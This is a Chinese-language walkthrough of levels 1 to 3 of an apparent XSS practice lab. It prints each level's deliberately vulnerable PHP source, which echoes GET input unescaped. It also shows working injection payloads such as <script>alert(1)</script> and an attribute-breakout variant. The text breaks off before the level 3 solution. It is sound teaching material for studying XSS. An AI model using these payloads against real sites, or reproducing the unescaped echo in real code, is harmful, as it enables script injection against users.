level-1
首先是这么一个网页,然后我们观察发现他的url栏式name=test,然后下面会有欢迎用户和payload的长度提示
我们随便传参进去试试
发现他的这个是会随着我们输入的东西的不同而进行的不同的变化
那么我们就可以知道了,他是没有任何防护的,也就是说我们可以写入js代码,让它把我们输入的代码当作网页的源代码进行执行
所以我们构造我们的这个payload
<script>alert(1)</script>
然后放上第一关的源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
level-2
先放源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
来到第二关,首先进入我们视线的是这么样子的一个页面
然后我们大胆的尝试改变一下这个,发现这回的url栏比上次的多了一个submit
然后我们盲猜一下,我们保持着后面的submit后面的东西不变,然后只对前面进行操作试一下
发现没有成功
查看代码发现我们输入的东西被写进去了,但是有一个问题就是,他的<>这个符号都是被变成了别的了
,那我们该怎么办?
然后我们没办法了,我们看一下他的服务端的源代码,就是我先前放出来的源代码
然后我们发现它有了这么一个函数
.htmlspecialchars($str).
然后我们去百度一下这个函数是什么作用
htmlspecialchars()
也就是说这个函数的作用就是
把一些符号转换为html的实体
什么叫做html的实体呢?
就是有一些字符,我们是在html输出的时候是不可以使用的,因为会引发歧义,那我们如果想使用它让他出现的话我们就需要把它变成html实体,然后我们就是可以进行了操作,和正常的输出了
所以我们现在明白了,这个原理之后,我们应该考虑的就是我们该如何去绕过这个函数,来正常执行我们写的具有污染性的代码呢?
然后这里就是有这么几种想法,第一种,我们加上单引号吗,因为根据前文的超链接传送门我们可以知道,这个函数如果是想要绕过单引号得单独加点东西,那我们就把这个加上单引号使用
我们尝试一下
构造了一个这个样子的,但是发现不对
然后我们看源代码
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
关键的四句话,我们先理解一下,第一句话就是把我们输入的字符串以get的方式传入进去,然后第二句话就是利用了这个函数来对我们的输入进去的这个字符串进行了编码
然后我们看关键的那个第四句话
它将我们的这个str直接传到了这个keyword value的里面,然后我们就开始了坏心眼
我们想办法
<input name=keyword value="'.$str.'">
假设我们输入的还是第一关的那个payload
那么他就会变成
<input name=keyword value="<script>alert(1)</script>">
然后这段我们写的js代码现在是在了这个标签属性值里面,是不会被我们的这个浏览器所执行的
所以我们就想办法,让前面是一句话,然后我们的后面就是我们自己写的一句话,这样不就是可以让我们的浏览器执行了吗
所以我们这么构造payload
css"><script>alert(1)</script>//
这样的一段代码在浏览器里面执行完了之后,仔细看这句话现在变成了这个样子
<input name=keyword value="css"><script>alert(1)</script>//">
也就是说我前面的css">闭合了前面的那个双引号和 <
然后我后面的//这个把后面的所有东西都给注释掉了
当然师傅们也可以尝试把后面的">这个给注释掉
"<这样就可以
css"><script>alert(1)</script>"<
这个payload也是可以的
level-3
先把3的源码先放出来
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
这个是他的服务端的一个源代码
然后我们看假如我们不知道他的这个源代码,我们只是简单的通过网页上面的代码进行一个判断会是怎么样子的
这个是网页上面的代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value=''>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
然后我们先看一下这关是什么样子的
然后我们随便输入一点东西测试一下试试
现在发现了这个还是get形式的传参,然后我们看一下现在网页经过我输入之后的代码变成了什么样子
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='test'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
我们发现他好像把我们输入的东西给放到了keyword value里面了
那我们还是先尝试一下我们上一关的一个做法看看
构造一个payload
css'<script>alert(1)</script>//
我们看一下结果怎么样
我们发现结果跟我们预期所想的并不一样
然后我们看一下,在这一次的时候我们的网页的代码变成了什么样子
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和css'<script>alert(1)</script>//相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='css'<script>alert(1)</script>//'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:31</h3></body>
</html>
我们发现我们这个里面的<>这些个符号都被转译成了html的实体了,就是我们在第二关的时候所遇到的那个函数,然后我们现在就可以简单的知道了,在这里的时候我们现在是有一个函数把我们的输入的带有污染性的代码用**htmlspecialchars()**这个函数给转化了一下,然后才传给的keyword value
然后我们这回所面对的就是我们应该如何去绕过这个函数,让这个函数没有办法去干扰我们入侵
然后这里我们要运用的就是一个利用
<input>
这个标签的一些特性去执行我们的代码
也就是说,我们可以利用这个标签构造一些事件,然后让我们来可以执行这个代码
然后在这里面我放一些传送门,就是关于事件对象的操作
事件对象
然后这里我们使用两种方法
其实都是大同小异
剩下的明天更新